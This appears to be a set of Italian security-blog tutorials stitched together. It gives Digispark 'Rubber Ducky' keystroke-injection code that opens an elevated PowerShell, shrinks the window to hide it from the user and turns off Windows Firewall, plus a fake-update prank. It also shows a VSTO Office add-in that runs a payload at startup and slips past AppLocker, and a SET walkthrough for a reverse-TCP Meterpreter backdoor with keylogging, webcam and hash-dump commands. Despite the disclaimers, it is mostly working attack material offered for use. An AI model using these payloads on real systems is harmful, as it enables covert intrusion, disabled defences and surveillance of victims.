Digispark, Disattivare Windows Firewall

Il payload che mostrerò in questo articolo consente di disattivare il firewall di Windows.

FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Windows Firewall è composto da tre profili diversi (dominio, privato e pubblico) ciascuno con le proprie regole/impostazioni. 

Per visualizzare lo stato dei tre profili di Windows Firewall baste eseguire il seguente comando dal Prompt dei comandi
netsh advfirewall show allprofiles

L'output sarà analogo a quello mostrato in FIG 2 in cui tutti e tre profili sono attivi (ON). Dopo l'esecuzione del nostro payload lo stato dei tre profili sarà OFF.

FIG 2 - Windows Firewall, Stato Profili

Per disattivare tutti i profili di Windows Firewall andremo ad eseguire il seguente comando con privilegi elevati
netsh advfirewall set allprofiles state off  

Per la predisposizione dell'ambiente di sviluppo e installazione dei driver della scheda Digispark è possibile fare riferimento all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente.

#include "KeyboardIT.h"
void setup() {
}
void loop() {
  DigiKeyboard.sendKeyStroke(0);
  DigiKeyboard.delay(500);
  //mostra desktop
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  // start->Esegui
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  DigiKeyboard.delay(1000);
  DigiKeyboard.print("powershell Start-Process powershell -Verb runAs");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("mode con:cols=14 lines=1 ");
  DigiKeyboard.delay(500);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  DigiKeyboard.delay(500);    
  DigiKeyboard.print("netsh advfirewall set allprofiles state off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(5000);
  DigiKeyboard.print("Exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);  
  for(;;){ /*empty*/ }
}

Con l'istruzione
DigiKeyboard.print("powershell Start-Process powershell -Verb runAs")
viene avviata una sessione PowerShell come amministratore. Per evitare che chi è seduto dinanzi al PC veda il comando digitato, viene ridotta la dimensione della finestra con l'istruzione
DigiKeyboard.print("mode con:cols=14 lines=1 ");
Successivamente vengono disabilitati tutti i profili di Windows Firewall con 
DigiKeyboard.print("netsh advfirewall set allprofiles state off");

Per caricare il payload sulla scheda Digispark:

• Scaricare il file Digispark_ Turn_Off_Windows_Firewall.zip dal seguente link 
  DOWNLOAD
• Scompattare il file e cliccare 2 volte sul file Digispark_ Turn_Off_Windows_Firewall.ino per aprirlo nell'IDE Arduino;
• Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

FIG 3 - Digispark, Disattiva profili di Windows Firewall

Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà eseguita la disattivazione di tutti i profili di Windows Firewall.

Digispark, Visualizzare una finta schermata di aggiornamento del sistema operativo

Il payload oggetto di questo articolo relativo alle Rubber Ducky realizzate con schede Digispark non fa altro che visualizzare una finta schermata di aggiornamento del sistema operativo. Sul sito https://fakeupdate.net/ sono presenti schermate di aggiornamento di diversi sistemi operativi. In questo caso, dovendo simulare una schermata di aggiornamento relativa a Windows 10, la scelta è ricaduta su https://fakeupdate.net/win10ue/.

FIG 1 - Digispark Kickstarter

ATTENZIONE:
Danneggiare/violare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

Vediamo in dettaglio il payload e come caricarlo sulla scheda Digispark. Per l'installazione/configurazione dell'ambiente di sviluppo, per le informazioni sulla scheda Digispark e per l'installazione dei driver rimando all'articolo Creare una Rubber Ducky economica con una scheda Digispark.

Il codice del payload è il seguente:

#include "KeyboardIT.h"

void setup() {

}

void loop() {

  DigiKeyboard.sendKeyStroke(0);

  DigiKeyboard.delay(500);

  //mostra desktop

  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);

  DigiKeyboard.delay(1000);

  // start->Esegui

  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);

  DigiKeyboard.delay(1000);

  DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");

  DigiKeyboard.delay(500);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  for(;;){ /*empty*/ }

}

L'istruzione principale è 

DigiKeyboard.print("iexplore -k https://fakeupdate.net/win10ue/");

che apre in Internet Explorer la pagina https://fakeupdate.net/win10ue/ a schermo intero. Per uscire dalla modalità schermo intero basta premere il tasto F11 o premere la combinazione ALT+F4 per chiudere la finestra.

Per caricare il payload sulla scheda Digispark i passaggi da seguire sono del tutto analoghi a quelli già visti negli articoli precedenti:

• Scaricare il file Digispark_Fake_Update.zip dal seguente link 
  DOWNLOAD
• Scompattare il file e cliccare 2 volte sul file Digispark_Fake_Update.ino per aprirlo nell'IDE Arduino;
• Cliccare sul tasto carica per compilare e caricare il programma sul dispositivo. Quando richiesto, collegare la scheda Digispark e attendere il caricamento del programma.

FIG 2 - Digispark, payload Fake Update

Terminato il caricamento, la scheda è pronta per essere usata. Collegandola ad un PC con sistema operativo Windows 7/8/10 verrà aperta una sessione di Internet Explorer a schermo intero che mostra la finta e interminabile schermata di aggiornamento.

VSTO: Creare un componente aggiuntivo per l'installazione di un payload

VSTO (Visual Studio Tools for Office) è un insieme di strumenti di sviluppo disponibili sotto forma di runtime e di add-in di Visual Studio che consente alle versioni di MS Office 2003 e successive di  ospitare il .NET Framework Common Language Runtime (CLR) e permettere la realizzazione di funzionalità attraverso .NET.
I componenti aggiuntivi VSTO possono essere installati, nel proprio profilo, anche dagli utenti che non dispongono di privilegi amministrativi ed eseguiti ad ogni avvio dell'applicazione MS Office per cui sono stati realizzati (ad es. Excel). Tale comportamento rappresenta un grosso problema per la sicurezza. L'add-in può essere creato in modo che venga avviato un payload (una routine malevola). In questi casi AppLocker, nella sua configurazione di default, non blocca l'esecuzione del codice.

Vediamo come creare un add-in VSTO in Visual Studio.

• Avviare Visual Studio e creare un nuovo progetto. Dal menu File selezionare Nuovo quindi Progetto;
  

  

  FIG 1 - Visual Studio, Nuovo Progetto

• Alla richiesta di selezionare il modello da utilizzare, selezionare Visual C# quindi Office/SharePoint;
  

  

  FIG 2 - Visual Studio, Progetto in Visual C# - Office/SharePoint

• Se nel sistema non è già installato verrà richiesto di installare Office Developer Tools (FIG 2). Eseguire un doppio click su Installa progetti Office Developer Tools, attendere il download e seguire le istruzioni a video per portare a termine l'installazione di tale componente.
  

  

  FIG 3 - Visual Studio, Installazione Office Developer Tools

• Terminata l'installazione di Office Developer Tools avviare nuovamente Visual Studio, creare un nuovo progetto Visual C# quindi selezionare Office/SharePoint. Selezionare per quale applicazione MS Office si intende sviluppare il componente aggiuntivo (in questo articolo è stato selezionata l'opzione Componente aggiuntivo VSTO per Word 2013 e 2016), assegnare un nome al progetto e confermare cliccando sul pulsante OK.
  

  

  FIG 4 - Visual Studio, selezione componente aggiuntivo da creare

• A questo punto Visual Studio provvederà a creare il template del nostro add-in. Per fare in modo che al caricamento del componente aggiuntivo venga eseguita una particolare operazione, bisogna modificare la funzione ThisAddIn_Startup. Aggiungendo il seguente codice, come mostrato anche in FIG 5, all'avvio del componente aggiuntivo verrà avviata la calcolatrice.

  System.Diagnostics.Process proc = new System.Diagnostics.Process();
  proc.StartInfo.FileName = @"c:\windows\system32\calc.exe";
  proc.Start();

  

  FIG 5 - Visual Studio, Modifica della funzione ThisAddIn_Startup per richiamare un file eseguibile (calc.exe)

• Dal menu Progetto selezionare Proprietà;
  

  

  FIG 6 - Visual Studio, Proprietà progetto

• Nella sezione Applicazione impostare il .NET Framework da utilizzare;
  

  

  FIG 7 - Visual Studio, Framework di destinazione

• Selezionare la sezione Firma. Firmare i manifesti ClickOnce con un certificato valido consente la distribuzione e l'installazione attraverso la tecnologia ClickOnce di Microsoft. Firmare i manifesti con un certificato non valido, d'altra parte, potrebbe impedire l'installazione/esecuzione del payload attraverso ClickOnce. Si può testare tale comportamento firmando i manifesti con un certificato autofirmato cliccando su Crea certificato di prova... e confermando cliccando su OK senza immettere alcuna password.
  

  

  FIG 8 - Visual Studio, Firma manifesti ClickOnce

• Selezionare Pubblica. In tale sezione è possibile impostare le opzioni per la distribuzione del pacchetto come ad esempio la versione, prerequisiti, dipendenze ecc. In Percorso pubblicazione specificare un path lasciando tutto il resto impostato come di default, quindi cliccare sul pulsante Pubblica.
  

  

  FIG 9 - Visual Studio, Pubblica componente aggiuntivo

• Nella cartella Release del progetto, verranno generati i file del componente aggiuntivo. Per procedere all'installazione basta eseguire il file con estensione .VSTO.
  

  

  FIG 10 - File componente aggiuntivo VSTO

• Terminata l'installazione, avviando MS Word verrà caricato anche il componente aggiuntivo che, a sua volta,  provvederà ad avviare la calcolatrice.
  

  

  FIG 11 - VSTO, all'avvio di MS Word e dell'add-in viene avviata la calcolatrice

Kali Linux: Creare una backdoor per Windows utilizzando SET

Social-Engineer Toolkit (SET), scritto da David Kennedy (ReL1K), è un insieme di tool progettati per eseguire attacchi basati sull'ingegneria sociale. In quest'articolo mostrerò uno dei possibili attacchi realizzabili con questo toolkit incluso in Kali Linux che prevede la creazione di un file eseguibile che, se eseguito sulla macchina della vittima, apre una backdoor.
                 
ATTENZIONE:

Danneggiare un sistema informatico (anche da remoto) rappresenta un reato penale. Le informazioni presenti in quest'articolo vanno utilizzate solo per testare/verificare sistemi di cui si è titolari. Declino ogni responsabilità civile e penale derivante da un utilizzo non legale delle informazioni presentate in questo articolo a solo scopo didattico.

• La prima operazione da effettuare è quella di avviare SET: da terminale eseguire il comando setoolkit oppure, dall'interfaccia grafica di Kali Linux (Versione 2016.1), cliccare su Applications>Social Engineering Tools>Social Engineering Toolkit.
  

  

  FIG 1 - Social Engineering Tools

• Dal menu che appare selezionare l'opzione 1) Social-Engineering Attacks
  

  

  FIG 2 - Social-Engineering Attacks

• Selezionare l'opzione 4) Create a Payload and Listener.
  

  

  FIG 3 - Create a Payload and Listener

• Selezionare 2) Windows Reverse_TCP Meterpreter.
  

  

  FIG 4 - Windows Reverse_TCP Meterpreter

• Indicare l'indirizzo IP che il payload deve contattare una volta che viene eseguito dalla vittima (indirizzo IP di chi attacca).
  

  

  FIG 5 - IP Address

• Specificare la porta del listener (in genere 443) confermando con invio. Verrà creato un eseguibile chiamato payload.exe (in /root/.usr/payload.exe) che consente di aprire una backdoor sulla workstation della vittima.
  

  

  FIG 6 - Porta su cui attendere la comunicazione del payload

  
  

  

  FIG 7 - Percorso del payload.exe da eseguire sulla macchina della vittima

• A questo punto viene richiesto se si intende avviare il listener sulla macchina di chi sta eseguendo l'attacco. Digitare yes seguito da invio per avviare la msfconsole.
  

  

  FIG 8 - Avvio del listener

• Una volta che msfconsole è stata avviata non resta che attendere che il file payload.exe venga eseguito sulla macchina della vittima e verrà aperta una sessione di Meterpreter.
  

  

  FIG 9 - Sessione Meterpreter
• Digitare il comando sessions -i 1 dove 1 rappresenta il numero della sessione che si intende selezionare (in FIG 9 è possibile vedere il numero della sessione nella dicitura session 1 opened)
  

  

  FIG 10 - Attivare la sessione

• Per fare in modo che meterpreter rimanga aperto è necessario migrare il payload su un altro processo. Per eseguire questa operazione è necessario disporre del PDI (process ID) di un altro processo. Usare il comando ps per visualizzare i processi attualmente in esecuzione sulla macchina vittima. Una volta individuato il PID su cui vogliamo migrare utilizziamo il comando
  migrate <PID del processo>
  ad es
  migrate 4878
  

Digitando help visualizziamo l'elenco dei comandi che possiamo eseguire sulla macchina della vittima

Possiamo riavviare la postazione, trasferire file, terminare processi, prendere il controllo della webcam/microfono, ecc.

Di seguito un elenco dei comandi che è possibile eseguire:

Core Commands
=============

    Command                   Description
    -------                        -----------
    ?                               Help menu
    background                Backgrounds the current session
    bgkill                         Kills a background meterpreter script
    bglist                         Lists running background scripts
    bgrun                        Executes a meterpreter script as a background thread
    channel                     Displays information or control active channels
    close                         Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                           Terminate the meterpreter session
    get_timeouts             Get the current session timeout values
    help                          Help menu
    info                           Displays information about a Post module
    irb                            Drop into irb scripting mode
    load                          Load one or more meterpreter extensions
    machine_id                Get the MSF ID of the machine attached to the session
    migrate                     Migrate the server to another process
    quit                           Terminate the meterpreter session
    read                          Reads data from a channel
    resource                    Run the commands stored in a file
    run                            Executes a meterpreter script or Post module
    set_timeouts              Set the current session timeout values
    sleep                         Force Meterpreter to go quiet, then re-establish session.
    transport                   Change the current transport mechanism
    use                           Deprecated alias for 'load'
    uuid                          Get the UUID for the current session
    write                         Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------             -----------
    cat                 Read the contents of a file to the screen
    cd                  Change directory
    dir                  List files (alias for ls)
    download        Download a file or directory
    edit                Edit a file
    getlwd            Print local working directory
    getwd             Print working directory
    lcd                 Change local working directory
    lpwd               Print local working directory
    ls                   List files
    mkdir             Make directory
    mv                 Move source to destination
    pwd                Print working directory
    rm                  Delete the specified file
    rmdir              Remove directory
    search            Search for files
    show_mount   List all mount points/logical drives
    upload            Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------             -----------
    arp                 Display the host ARP cache
    getproxy         Display the current proxy configuration
    ifconfig           Display interfaces
    ipconfig          Display interfaces
    netstat           Display the network connections
    portfwd          Forward a local port to a remote service
    route             View and modify the routing table


Stdapi: System Commands
=======================

    Command       Description
    -------             -----------
    clearev           Clear the event log
    drop_token     Relinquishes any active impersonation token.
    execute          Execute a command
    getenv           Get one or more environment variable values
    getpid            Get the current process identifier
    getprivs         Attempt to enable all privileges available to the current process
    getsid            Get the SID of the user that the server is running as
    getuid            Get the user that the server is running as
    kill                 Terminate a process
    ps                  List running processes
    reboot            Reboots the remote computer
    reg                Modify and interact with the remote registry
    rev2self         Calls RevertToSelf() on the remote machine
    shell              Drop into a system command shell
    shutdown       Shuts down the remote computer
    steal_token    Attempts to steal an impersonation token from the target process
    suspend         Suspends or resumes a list of processes
    sysinfo          Gets information about the remote system, such as OS


Stdapi: User interface Commands
===============================

    Command        Description
    -------              -----------
    enumdesktops   List all accessible desktops and window stations
    getdesktop        Get the current meterpreter desktop
    idletime             Returns the number of seconds the remote user has been idle
    keyscan_dump   Dump the keystroke buffer
    keyscan_start    Start capturing keystrokes
    keyscan_stop     Stop capturing keystrokes
    screenshot         Grab a screenshot of the interactive desktop
    setdesktop         Change the meterpreters current desktop
    uictl                  Control some of the user interface components


Stdapi: Webcam Commands
=======================

    Command        Description
    -------              -----------
    record_mic       Record audio from the default microphone for X seconds
    webcam_chat   Start a video chat
    webcam_list     List webcams
    webcam_snap  Take a snapshot from the specified webcam
    webcam_stream  Play a video stream from the specified webcam


Priv: Elevate Commands
======================

    Command       Description
    -------             -----------
    getsystem       Attempt to elevate your privilege to that of local system.


Priv: Password database Commands
================================

    Command       Description
    -------             -----------
    hashdump      Dumps the contents of the SAM database


Priv: Timestomp Commands
========================

    Command       Description
    -------             -----------
    timestomp     Manipulate file MACE attributes